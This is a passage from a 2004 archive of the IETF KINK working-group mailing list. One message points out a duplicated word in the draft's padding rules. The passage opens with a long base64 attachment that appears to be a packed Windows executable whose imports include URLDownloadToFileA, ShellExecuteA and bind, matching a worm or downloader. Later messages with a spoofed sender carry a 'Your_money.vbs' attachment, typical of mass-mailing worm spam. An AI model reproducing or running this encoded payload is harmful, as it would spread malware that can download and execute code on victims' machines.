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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm 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 BygzHbxQAqVfx74MvkO9o6erYEapWIMKTDRxsg== ----------ulnaiehcdftjocgvijob-- From owner-ietf-kink Sun May 16 23:34:17 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H6YGQp085288; Sun, 16 May 2004 23:34:16 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4H6YGTU085286; Sun, 16 May 2004 23:34:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H6YFK0085136 for ; Sun, 16 May 2004 23:34:16 -0700 (PDT) (envelope-from kazunori@miyazawa.org) Received: from 2001:240:2:0:20c:29ff:febb:6598 ([2001:240:2:0:20c:29ff:febb:6598]) (AUTH: PLAIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Mon, 17 May 2004 15:30:54 +0900 From: Kazunori Miyazawa To: ietf-kink@vpnc.org Subject: typo? Date: Mon, 17 May 2004 15:33:08 +0900 User-Agent: KMail/1.5.4 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405171533.08926.kazunori@miyazawa.org> Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I read the draft and found typo in 5.1.1 KINK Padding Rules. o Between KINK payloads, checksums, headers or any other other vari- able length data, the adjacent fields MUST be aligned on 4 octet boundaries. There are duplicate "other". I think it is typo. Excuse me when it has been already noticed. Thanks in advance, --Kazunori Miyazawa From owner-ietf-kink Sat May 22 03:38:10 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4MAcAbB086939; Sat, 22 May 2004 03:38:10 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4MAcAU1086938; Sat, 22 May 2004 03:38:10 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from rmk027.com ([203.199.214.66]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4MAc7KF086867 for ; Sat, 22 May 2004 03:38:09 -0700 (PDT) (envelope-from jtrostle@world.std.com) Date: Sat, 22 May 2004 15:58:29 +0530 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Document Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------ojtkzppsxnealeoewgff" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------ojtkzppsxnealeoewgff Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------ojtkzppsxnealeoewgff Content-Type: application/octet-stream; name="Your_money.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.vbs" ----------ojtkzppsxnealeoewgff-- From owner-ietf-kink Sun May 23 21:27:40 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4O4ReiE044362; Sun, 23 May 2004 21:27:40 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4O4ReeL044361; Sun, 23 May 2004 21:27:40 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from rmk027.org ([203.199.214.66]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4O4RaiG044327 for ; Sun, 23 May 2004 21:27:37 -0700 (PDT) (envelope-from jtrostle@world.std.com) Date: Mon, 24 May 2004 09:48:04 +0530 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Hello Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------rcbhszpucazwbieuibwt" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------rcbhszpucazwbieuibwt Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
